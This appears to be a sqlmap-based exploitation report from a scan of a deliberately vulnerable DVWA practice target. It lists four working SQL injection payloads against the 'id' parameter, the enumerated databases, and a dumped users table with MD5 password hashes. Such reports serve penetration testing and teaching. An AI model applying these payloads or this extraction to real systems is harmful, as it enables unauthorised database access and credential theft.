

## SQLi Exploiter with SQLMap Report

✓ <https://pentest-ground.com:4280/vulnerabilities/sqli/?id=1&Submit=Submit>

### ➔ SQL Injection Exploited Successfully

#### ☰ Summary ▾

Current database:	dvwa
Current user:	dvwa@%
Server technology:	PHP 8.4.7, Nginx 1.27.5
Database type:	MySQL >= 5.0 (MariaDB fork)
Server hostname:	ec0d6c5b4da6
Banner:	10.11.9-MariaDB-ubu2204
DBMS users:	<code>dvwa'@'%</code>

## Databases and Tables ▼

DATABASE	NR. OF TABLES	TABLES (MAX 10 SHOWN)
dvwa	2	guestbook, users
information_schema	79	ALL_PLUGINS, APPLICABLE_ROLES, CHARACTER_SETS, CHECK_CONSTRAINTS, CLIENT_STATISTICS, COLLATIONS, COLLATION_CHARACTER_SET_APPLICABILITY, COLUMN_PRIVILEGES, ENABLED_ROLES, FILES, ...

## ☰ Usernames and Passwords ▾

Database: dvwa

Table: users

[5 entries]

PASSWORD	USER_ID	USER	AVATAR	LAST_NAME	FIRST_NAME	LAST_LOGIN	FAILED_LOGIN
5f4dcc3b5aa765d61d8327deb882cf99	1	admin	/hackable/users/admin.jpg	admin	admin	2025-05-20 15:23:56	0
e99a18c428cb38d5f260853678922e03	2	gordonb	/hackable/users/gordonb.jpg	Brown	Gordon	2025-05-20 15:23:56	0
8d3533d75ae2c3966d7e0d4fcc69216b	3	1337	/hackable/users/1337.jpg	Me	Hack	2025-05-20 15:23:56	0
0d107d09f5bbe40cade3de5c71e9e9b7	4	pablo	/hackable/users/pablo.jpg	Picasso	Pablo	2025-05-20 15:23:56	0
5f4dcc3b5aa765d61d8327deb882cf99	5	smithy	/hackable/users/smithy.jpg	Smith	Bob	2025-05-20 15:23:56	0

## Injection Points ▼

PARAMETER	METHOD	SQLI TYPE	PAYLOAD
id	GET	boolean-based blind	<code>id=1' OR NOT 4134=4134#&amp;Submit=Submit</code>
id	GET	error-based	<code>id=1' AND (SELECT 8234 FROM(SELECT COUNT(*),CONCAT(0x716b787671,(SELECT (ELT(8234=8234,1))),0x71786b6b71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- 0Kxp&amp;Submit=Submit</code>
id	GET	time-based blind	<code>id=1' AND (SELECT 9290 FROM (SELECT(SLEEP(5)))J0nD)-- eyrA&amp;Submit=Submit</code>
id	GET	UNION query	<code>id=1' UNION ALL SELECT NULL,CONCAT(0x716b787671,0x7a6f496768776e67744b436e534361494541544247745174454445537257466b6b7a50507757456e,0x71786b6b71)#&amp;Submit=Submit</code>

## Scan parameters

URL: https://pentest-ground.com:4280/vulnerabilities/sqli?id=1&Submit=Submit  
Method: GET  
POST Data:  
Extract current user: True  
Extract current database: True  
Extract server hostname: True  
Extract banner:  
Extract users:  
Extract passwords:  
Extract tables: 1  
Extract databases: 1  
Cookie header: None  
Test parameters:  
Tamper:  
Level:  
Risk: BEUSTQ  
HTTP Code: False  
Prefix: 0

## Scan information

Start time: May 20, 2025 / 18:31:09  
UTC+03  
Finish time: May 20, 2025 / 18:35:12  
UTC+03  
Scan duration: 4 min, 3 sec  
Scan status: Finished